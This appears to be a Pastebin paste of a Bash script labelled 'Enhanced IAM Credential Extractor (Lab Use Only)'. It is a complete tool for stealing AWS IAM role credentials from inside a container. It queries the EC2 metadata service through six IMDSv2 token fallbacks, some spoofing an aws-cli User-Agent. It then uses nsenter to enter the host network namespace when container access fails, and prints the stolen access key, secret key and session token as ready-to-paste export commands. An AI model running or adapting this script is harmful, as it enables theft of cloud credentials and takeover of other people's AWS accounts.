orenma

getIMDSv2Token.sh

Aug 14th, 2025 (edited)
88
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 18.90 KB | Cybersecurity | 0 0
  1. #!/bin/bash
  2.  
  3. # Enhanced IAM Credential Extractor (Lab Use Only)
  4. # Handles IMDSv2 token retrieval with multiple fallback methods
  5. # Includes debugging and enhanced error handling
  6.  
  7. echo "==== Enhanced IAM Credential Extractor (Lab Use Only) ===="
  8. echo ""
  9.  
  10. # Global variables
  11. TOKEN=""
  12. ROLE_NAME=""
  13. CREDS=""
  14. DEBUG=${DEBUG:-0}
  15.  
  16. # Debug function
  17. debug_log() {
  18.     if [ "$DEBUG" -eq 1 ]; then
  19.         echo "[DEBUG] $1" >&2
  20.     fi
  21. }
  22.  
  23. # Enhanced metadata service check - skip token validation for connectivity test
  24. check_metadata_access() {
  25.     echo "[*] Checking metadata service accessibility..."
  26.    
  27.     # Test basic connectivity first
  28.     if timeout 5 nc -z 169.254.169.254 80 2>/dev/null; then
  29.         echo "[+] Port 80 is reachable on 169.254.169.254"
  30.     else
  31.         echo "[-] Port 80 not reachable on 169.254.169.254"
  32.         return 1
  33.     fi
  34.    
  35.     # For IMDSv2, HTTP 401 on root endpoint is expected and means service is working
  36.     local response
  37.     response=$(timeout 10 curl -s -w "%{http_code}" -o /dev/null http://169.254.169.254/ 2>/dev/null)
  38.     debug_log "HTTP response code: $response"
  39.    
  40.     if [ "$response" -eq 200 ] || [ "$response" -eq 404 ] || [ "$response" -eq 403 ] || [ "$response" -eq 401 ]; then
  41.         if [ "$response" -eq 401 ]; then
  42.             echo "[+] Metadata service responding with HTTP 401 (IMDSv2 enforced - this is expected)"
  43.         else
  44.             echo "[+] Metadata service is responding (HTTP $response)"
  45.         fi
  46.         return 0
  47.     else
  48.         echo "[-] Metadata service not responding properly (HTTP $response)"
  49.         return 1
  50.     fi
  51. }
  52.  
  53. # Enhanced token retrieval with multiple methods
  54. # Enhanced token retrieval with better error handling and debugging
  55. get_token_method1() {
  56.     echo "[*] Method 1: Standard IMDSv2 token request..."
  57.    
  58.     # Make the request and capture both response and HTTP code
  59.     local temp_output=$(mktemp)
  60.     local temp_headers=$(mktemp)
  61.    
  62.     timeout 10 curl -s -D "$temp_headers" -o "$temp_output" -X PUT \
  63.         -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
  64.         http://169.254.169.254/latest/api/token 2>/dev/null
  65.    
  66.     local http_code=$(grep -o "HTTP/[0-9.]* [0-9]*" "$temp_headers" 2>/dev/null | tail -n1 | awk '{print $2}')
  67.     TOKEN=$(cat "$temp_output" 2>/dev/null | tr -d '\r\n\t ')
  68.    
  69.     rm -f "$temp_output" "$temp_headers"
  70.    
  71.     # Default http_code if parsing failed
  72.     [ -z "$http_code" ] && http_code="000"
  73.    
  74.     debug_log "HTTP code: $http_code, Token length: ${#TOKEN}"
  75.     debug_log "Token content: ${TOKEN:0:50}..."
  76.    
  77.     if [ "$http_code" -eq 200 ] 2>/dev/null && [ -n "$TOKEN" ] && [ ${#TOKEN} -gt 10 ]; then
  78.         echo "[+] Method 1 successful - Token: ${TOKEN:0:20}..."
  79.         return 0
  80.     elif [ "$http_code" -eq 403 ] 2>/dev/null; then
  81.         echo "[-] Method 1 failed - HTTP 403: IMDSv2 token requests blocked"
  82.     elif [ "$http_code" -eq 404 ] 2>/dev/null; then
  83.         echo "[-] Method 1 failed - HTTP 404: IMDSv2 endpoint not found"
  84.     elif [ "$http_code" -eq 401 ] 2>/dev/null; then
  85.         echo "[-] Method 1 failed - HTTP 401: Unauthorized token request"
  86.     else
  87.         echo "[-] Method 1 failed - HTTP $http_code (connection/timeout issue)"
  88.     fi
  89.    
  90.     return 1
  91. }
  92.  
  93. get_token_method2() {
  94.     echo "[*] Method 2: IMDSv2 with alternative timeout and headers..."
  95.    
  96.     local temp_output=$(mktemp)
  97.     local temp_headers=$(mktemp)
  98.    
  99.     timeout 15 curl -s -D "$temp_headers" -o "$temp_output" -X PUT \
  100.         -H "X-aws-ec2-metadata-token-ttl-seconds: 3600" \
  101.         -H "Connection: close" \
  102.         http://169.254.169.254/latest/api/token 2>/dev/null
  103.    
  104.     local http_code=$(grep -o "HTTP/[0-9.]* [0-9]*" "$temp_headers" 2>/dev/null | tail -n1 | awk '{print $2}')
  105.     TOKEN=$(cat "$temp_output" 2>/dev/null | tr -d '\r\n\t ')
  106.    
  107.     rm -f "$temp_output" "$temp_headers"
  108.    
  109.     [ -z "$http_code" ] && http_code="000"
  110.    
  111.     debug_log "Method 2 - HTTP code: $http_code, Token: ${TOKEN:0:50}..."
  112.    
  113.     if [ "$http_code" -eq 200 ] 2>/dev/null && [ -n "$TOKEN" ] && [ ${#TOKEN} -gt 10 ]; then
  114.         echo "[+] Method 2 successful - Token: ${TOKEN:0:20}..."
  115.         return 0
  116.     fi
  117.    
  118.     echo "[-] Method 2 failed - HTTP $http_code"
  119.     return 1
  120. }
  121.  
  122. get_token_method3() {
  123.     echo "[*] Method 3: IMDSv2 with User-Agent and IPv4 binding..."
  124.    
  125.     local temp_output=$(mktemp)
  126.     local temp_headers=$(mktemp)
  127.    
  128.     timeout 15 curl -s -D "$temp_headers" -o "$temp_output" -X PUT \
  129.         -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
  130.         -H "User-Agent: aws-cli/2.0" \
  131.         --ipv4 \
  132.         http://169.254.169.254/latest/api/token 2>/dev/null
  133.    
  134.     local http_code=$(grep -o "HTTP/[0-9.]* [0-9]*" "$temp_headers" 2>/dev/null | tail -n1 | awk '{print $2}')
  135.     TOKEN=$(cat "$temp_output" 2>/dev/null | tr -d '\r\n\t ')
  136.    
  137.     rm -f "$temp_output" "$temp_headers"
  138.    
  139.     [ -z "$http_code" ] && http_code="000"
  140.    
  141.     debug_log "Method 3 - HTTP code: $http_code, Token: ${TOKEN:0:50}..."
  142.    
  143.     if [ "$http_code" -eq 200 ] 2>/dev/null && [ -n "$TOKEN" ] && [ ${#TOKEN} -gt 10 ]; then
  144.         echo "[+] Method 3 successful - Token: ${TOKEN:0:20}..."
  145.         return 0
  146.     fi
  147.    
  148.     echo "[-] Method 3 failed - HTTP $http_code"
  149.     return 1
  150. }
  151.  
  152. get_token_method4() {
  153.     echo "[*] Method 4: Using wget for token request..."
  154.    
  155.     if ! command -v wget >/dev/null; then
  156.         echo "[-] Method 4 skipped - wget not available"
  157.         return 1
  158.     fi
  159.    
  160.     local temp_file=$(mktemp)
  161.    
  162.     # Use wget with server response
  163.     if timeout 15 wget -q -S -O "$temp_file" \
  164.         --method=PUT \
  165.         --header="X-aws-ec2-metadata-token-ttl-seconds: 21600" \
  166.         http://169.254.169.254/latest/api/token 2>&1 | grep -q "200 OK"; then
  167.        
  168.         TOKEN=$(cat "$temp_file" 2>/dev/null | tr -d '\r\n\t ')
  169.         rm -f "$temp_file"
  170.        
  171.         if [ -n "$TOKEN" ] && [ ${#TOKEN} -gt 10 ]; then
  172.             echo "[+] Method 4 successful - Token: ${TOKEN:0:20}..."
  173.             return 0
  174.         fi
  175.     fi
  176.    
  177.     rm -f "$temp_file"
  178.     echo "[-] Method 4 failed"
  179.     return 1
  180. }
  181.  
  182. # Method 5: Try with different curl options
  183. get_token_method5() {
  184.     echo "[*] Method 5: Token request with alternative curl options..."
  185.    
  186.     # Try without interface binding, just basic curl
  187.     local temp_output=$(mktemp)
  188.    
  189.     timeout 15 curl -s -o "$temp_output" \
  190.         --max-time 10 \
  191.         --connect-timeout 5 \
  192.         -X PUT \
  193.         -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
  194.         -w "HTTPCODE:%{http_code}" \
  195.         http://169.254.169.254/latest/api/token 2>/dev/null > /tmp/curl_debug.out
  196.    
  197.     local http_code=$(grep "HTTPCODE:" /tmp/curl_debug.out 2>/dev/null | cut -d: -f2)
  198.     TOKEN=$(cat "$temp_output" 2>/dev/null | tr -d '\r\n\t ')
  199.    
  200.     rm -f "$temp_output" /tmp/curl_debug.out
  201.    
  202.     [ -z "$http_code" ] && http_code="000"
  203.    
  204.     debug_log "Method 5 - HTTP code: $http_code, Token: ${TOKEN:0:50}..."
  205.    
  206.     if [ "$http_code" -eq 200 ] 2>/dev/null && [ -n "$TOKEN" ] && [ ${#TOKEN} -gt 10 ]; then
  207.         echo "[+] Method 5 successful - Token: ${TOKEN:0:20}..."
  208.         return 0
  209.     fi
  210.    
  211.     echo "[-] Method 5 failed - HTTP $http_code"
  212.     return 1
  213. }
  214.  
  215. # Method 6: Try with minimal headers
  216. get_token_method6() {
  217.     echo "[*] Method 6: Minimal token request..."
  218.    
  219.     # Sometimes containers have issues with certain headers, try minimal approach
  220.     TOKEN=$(timeout 10 curl -s -X PUT \
  221.         "http://169.254.169.254/latest/api/token" \
  222.         -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null | tr -d '\r\n\t ')
  223.    
  224.     debug_log "Method 6 - Token: ${TOKEN:0:50}..."
  225.    
  226.     if [ -n "$TOKEN" ] && [ ${#TOKEN} -gt 10 ]; then
  227.         echo "[+] Method 6 successful - Token: ${TOKEN:0:20}..."
  228.         return 0
  229.     fi
  230.    
  231.     echo "[-] Method 6 failed"
  232.     return 1
  233. }
  234.  
  235. # Try all token methods with enhanced error reporting
  236. get_token() {
  237.     local ns="$1"
  238.     echo "[*] Getting IMDSv2 token ($ns)..."
  239.    
  240.     if [ "$ns" == "container" ]; then
  241.         # Try multiple methods in sequence
  242.         echo "[*] Attempting container-based token retrieval..."
  243.         get_token_method1 && return 0
  244.         get_token_method2 && return 0
  245.         get_token_method3 && return 0
  246.         command -v wget >/dev/null && get_token_method4 && return 0
  247.         get_token_method5 && return 0
  248.         get_token_method6 && return 0
  249.        
  250.         echo "[-] All container token methods failed"
  251.         echo "[!] This usually indicates:"
  252.         echo "    1. Container has restricted IMDSv2 access"
  253.         echo "    2. Network policy blocking metadata access"
  254.         echo "    3. Container runtime security restrictions"
  255.         echo "    4. EC2 instance may not have proper IMDSv2 configuration"
  256.        
  257.     else
  258.         # Host namespace method
  259.         echo "[*] Attempting host namespace token retrieval..."
  260.         local token_result
  261.        
  262.         token_result=$(curl_hostns "latest/api/token" "-X PUT -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600'" 2>/dev/null)
  263.        
  264.         if [ -n "$token_result" ] && [ ${#token_result} -gt 10 ]; then
  265.             TOKEN="$token_result"
  266.             echo "[+] Host namespace token successful - Token: ${TOKEN:0:20}..."
  267.             return 0
  268.         else
  269.             echo "[-] Host namespace token failed"
  270.             debug_log "Host namespace token result: '$token_result'"
  271.         fi
  272.     fi
  273.    
  274.     return 1
  275. }
  276.  
  277. # Enhanced role name retrieval
  278. get_role_name() {
  279.     local ns="$1"
  280.     echo "[*] Getting IAM role name ($ns)..."
  281.    
  282.     if [ "$ns" == "container" ]; then
  283.         # Try with different approaches
  284.         ROLE_NAME=$(timeout 10 curl -s \
  285.             -H "X-aws-ec2-metadata-token: $TOKEN" \
  286.             http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null)
  287.        
  288.         # Alternative method if first fails
  289.         if [ -z "$ROLE_NAME" ]; then
  290.             debug_log "Trying alternative role name method..."
  291.             ROLE_NAME=$(timeout 10 curl -s \
  292.                 -H "X-aws-ec2-metadata-token: $TOKEN" \
  293.                 -H "User-Agent: aws-cli/2.0" \
  294.                 http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null)
  295.         fi
  296.     else
  297.         ROLE_NAME=$(curl_hostns "latest/meta-data/iam/security-credentials/" "-H 'X-aws-ec2-metadata-token: $TOKEN'")
  298.     fi
  299.  
  300.     # Clean up role name (remove whitespace/newlines)
  301.     ROLE_NAME=$(echo "$ROLE_NAME" | tr -d '\r\n' | head -n 1)
  302.    
  303.     if [ -n "$ROLE_NAME" ]; then
  304.         echo "[+] Found IAM role: $ROLE_NAME"
  305.         return 0
  306.     else
  307.         echo "[-] No IAM role found"
  308.         debug_log "Role name response was empty or invalid"
  309.         return 1
  310.     fi
  311. }
  312.  
  313. # Enhanced credentials retrieval
  314. get_credentials() {
  315.     local ns="$1"
  316.     echo "[*] Getting IAM credentials ($ns)..."
  317.    
  318.     if [ "$ns" == "container" ]; then
  319.         CREDS=$(timeout 15 curl -s \
  320.             -H "X-aws-ec2-metadata-token: $TOKEN" \
  321.             "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME" 2>/dev/null)
  322.        
  323.         # Try alternative method if first fails
  324.         if [ -z "$CREDS" ] || ! echo "$CREDS" | grep -q "AccessKeyId"; then
  325.             debug_log "Trying alternative credentials method..."
  326.             CREDS=$(timeout 15 curl -s \
  327.                 -H "X-aws-ec2-metadata-token: $TOKEN" \
  328.                 -H "User-Agent: aws-cli/2.0" \
  329.                 "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME" 2>/dev/null)
  330.         fi
  331.     else
  332.         CREDS=$(curl_hostns "latest/meta-data/iam/security-credentials/$ROLE_NAME" "-H 'X-aws-ec2-metadata-token: $TOKEN'")
  333.     fi
  334.  
  335.     debug_log "Credentials response: ${CREDS:0:100}..."
  336.    
  337.     if [ -n "$CREDS" ] && echo "$CREDS" | grep -q "AccessKeyId"; then
  338.         echo "[+] Retrieved credentials successfully!"
  339.         return 0
  340.     else
  341.         echo "[-] Failed to retrieve valid credentials"
  342.         debug_log "Credentials were empty or malformed"
  343.         return 1
  344.     fi
  345. }
  346.  
  347. # Function to get host PID (enhanced)
  348. get_host_pid() {
  349.     # Try multiple methods to get host PID
  350.     local host_pid
  351.    
  352.     # Method 1: Docker inspect
  353.     host_pid=$(docker inspect --format '{{.State.Pid}}' $(hostname) 2>/dev/null)
  354.     [ -n "$host_pid" ] && echo "$host_pid" && return
  355.    
  356.     # Method 2: Check /proc/1/cgroup
  357.     if [ -f /proc/1/cgroup ] && grep -q docker /proc/1/cgroup; then
  358.         host_pid=$(ps aux | grep '[d]ockerd' | head -n 1 | awk '{print $2}' 2>/dev/null)
  359.         [ -n "$host_pid" ] && echo "$host_pid" && return
  360.     fi
  361.    
  362.     # Method 3: Try to find container runtime process
  363.     host_pid=$(pgrep -f containerd 2>/dev/null | head -n 1)
  364.     [ -n "$host_pid" ] && echo "$host_pid" && return
  365.    
  366.     return 1
  367. }
  368.  
  369. # Enhanced host namespace curl
  370. curl_hostns() {
  371.     local path="$1"
  372.     local token_header="$2"
  373.     local host_pid
  374.    
  375.     host_pid=$(get_host_pid)
  376.     if [ -n "$host_pid" ] && command -v nsenter &>/dev/null; then
  377.         debug_log "Using nsenter with PID: $host_pid"
  378.         nsenter -t "$host_pid" -n timeout 15 curl -s $token_header "http://169.254.169.254/$path" 2>/dev/null
  379.     else
  380.         debug_log "nsenter not available or host PID not found"
  381.         return 1
  382.     fi
  383. }
  384.  
  385. # Enhanced credential export
  386. export_credentials() {
  387.     echo "[*] Parsing and exporting credentials..."
  388.    
  389.     # Try jq first, then fall back to grep
  390.     if command -v jq >/dev/null 2>&1; then
  391.         ACCESS_KEY=$(echo "$CREDS" | jq -r '.AccessKeyId' 2>/dev/null)
  392.         SECRET_KEY=$(echo "$CREDS" | jq -r '.SecretAccessKey' 2>/dev/null)
  393.         SESSION_TOKEN=$(echo "$CREDS" | jq -r '.Token' 2>/dev/null)
  394.         EXPIRATION=$(echo "$CREDS" | jq -r '.Expiration' 2>/dev/null)
  395.     else
  396.         ACCESS_KEY=$(echo "$CREDS" | grep -oP '"AccessKeyId"\s*:\s*"\K[^"]+' | head -n 1)
  397.         SECRET_KEY=$(echo "$CREDS" | grep -oP '"SecretAccessKey"\s*:\s*"\K[^"]+' | head -n 1)
  398.         SESSION_TOKEN=$(echo "$CREDS" | grep -oP '"Token"\s*:\s*"\K[^"]+' | head -n 1)
  399.         EXPIRATION=$(echo "$CREDS" | grep -oP '"Expiration"\s*:\s*"\K[^"]+' | head -n 1)
  400.     fi
  401.  
  402.     debug_log "Parsed - AccessKey: ${ACCESS_KEY:0:10}..., SecretKey: ${SECRET_KEY:0:10}..., Token: ${SESSION_TOKEN:0:20}..."
  403.  
  404.     if [ -n "$ACCESS_KEY" ] && [ -n "$SECRET_KEY" ] && [ -n "$SESSION_TOKEN" ]; then
  405.         echo ""
  406.         echo "============================================"
  407.         echo "# 🎯 AWS Credentials Successfully Retrieved!"
  408.         echo "============================================"
  409.         echo ""
  410.         echo "# Copy and paste these commands:"
  411.         echo "export AWS_ACCESS_KEY_ID=\"$ACCESS_KEY\""
  412.         echo "export AWS_SECRET_ACCESS_KEY=\"$SECRET_KEY\""
  413.         echo "export AWS_SESSION_TOKEN=\"$SESSION_TOKEN\""
  414.         echo ""
  415.         if [ -n "$EXPIRATION" ]; then
  416.             echo "# Credentials expire at: $EXPIRATION"
  417.             echo ""
  418.         fi
  419.         echo "# Verify with: aws sts get-caller-identity"
  420.         echo "============================================"
  421.         return 0
  422.     else
  423.         echo "[-] Failed to parse credentials properly"
  424.         debug_log "Raw credentials: $CREDS"
  425.         return 1
  426.     fi
  427. }
  428.  
  429. # Enhanced debugging mode with network diagnostics
  430. enable_debug() {
  431.     export DEBUG=1
  432.     echo "[DEBUG] Debug mode enabled"
  433.     echo "[DEBUG] Container ID: $(hostname)"
  434.     echo "[DEBUG] Available tools: curl=$(command -v curl), wget=$(command -v wget), jq=$(command -v jq), nsenter=$(command -v nsenter)"
  435.     echo "[DEBUG] Container environment:"
  436.     echo "[DEBUG]   - Docker env file: $([ -f /.dockerenv ] && echo "Present" || echo "Not found")"
  437.     echo "[DEBUG]   - Cgroup: $(head -n 1 /proc/1/cgroup 2>/dev/null | grep -o 'docker\|containerd\|podman' || echo "Unknown")"
  438.     echo "[DEBUG] Network interfaces:"
  439.     ip addr show 2>/dev/null | grep -E "(inet|UP)" || ifconfig 2>/dev/null | grep -E "(inet|UP)"
  440.     echo "[DEBUG] Default route:"
  441.     ip route show default 2>/dev/null || route -n 2>/dev/null | grep "^0.0.0.0"
  442.     echo "[DEBUG] DNS configuration:"
  443.     cat /etc/resolv.conf 2>/dev/null | head -3
  444.     echo "[DEBUG] Testing basic connectivity to metadata service:"
  445.    
  446.     # Test raw connectivity
  447.     timeout 5 nc -z 169.254.169.254 80 2>/dev/null && echo "[DEBUG]   - Port 80: OPEN" || echo "[DEBUG]   - Port 80: CLOSED/FILTERED"
  448.    
  449.     # Test with ping (if available)
  450.     if command -v ping >/dev/null; then
  451.         timeout 3 ping -c 1 169.254.169.254 >/dev/null 2>&1 && echo "[DEBUG]   - Ping: SUCCESS" || echo "[DEBUG]   - Ping: FAILED"
  452.     fi
  453.    
  454.     # Test HTTP response
  455.     local test_response
  456.     test_response=$(timeout 5 curl -s -w "HTTP_CODE:%{http_code} TIME:%{time_total}" http://169.254.169.254/ 2>/dev/null)
  457.     echo "[DEBUG]   - HTTP test: $test_response"
  458. }
  459.  
  460. # Main execution with enhanced error handling
  461. main() {
  462.     # Check if debug mode requested
  463.     if [ "$1" == "--debug" ] || [ "$1" == "-d" ]; then
  464.         enable_debug
  465.     fi
  466.    
  467.     echo "[*] Starting container-based IMDSv2 credential extraction..."
  468.    
  469.     # Check if we're in a container
  470.     if [ -f /.dockerenv ] || grep -q docker /proc/1/cgroup 2>/dev/null; then
  471.         echo "[+] Container environment detected"
  472.     else
  473.         echo "[!] Warning: Not in a container environment"
  474.     fi
  475.    
  476.     # Try container network first
  477.     if check_metadata_access; then
  478.         echo "[*] Attempting credential extraction from container namespace..."
  479.         if get_token "container" && get_role_name "container" && get_credentials "container"; then
  480.             if export_credentials; then
  481.                 exit 0
  482.             fi
  483.         fi
  484.     fi
  485.  
  486.     echo ""
  487.     echo "[*] Container method failed, attempting host network namespace..."
  488.    
  489.     # Check prerequisites for host namespace method
  490.     if ! command -v nsenter >/dev/null; then
  491.         echo "[-] nsenter not available - cannot try host namespace method"
  492.         echo "[!] Try: apt-get update && apt-get install -y util-linux"
  493.     elif ! get_host_pid >/dev/null; then
  494.         echo "[-] Cannot determine host PID - host namespace method unavailable"
  495.     else
  496.         if get_token "hostns" && get_role_name "hostns" && get_credentials "hostns"; then
  497.             if export_credentials; then
  498.                 exit 0
  499.             fi
  500.         fi
  501.     fi
  502.  
  503.     echo ""
  504.     echo "============================================"
  505.     echo "[-] ❌ Could not retrieve credentials"
  506.     echo "============================================"
  507.     echo ""
  508.     echo "Possible issues:"
  509.     echo "1. IMDSv2 is enforced but container has limited access"
  510.     echo "2. Container is not running on an EC2 instance with IAM role"
  511.     echo "3. Network restrictions prevent metadata access"
  512.     echo "4. Container runtime restrictions"
  513.     echo ""
  514.     echo "Try running with debug mode: $0 --debug"
  515.     echo "============================================"
  516.    
  517.     exit 1
  518. }
  519.  
  520. # Run with all arguments
  521. main "$@"
Advertisement
Add Comment
Please, Sign In to add comment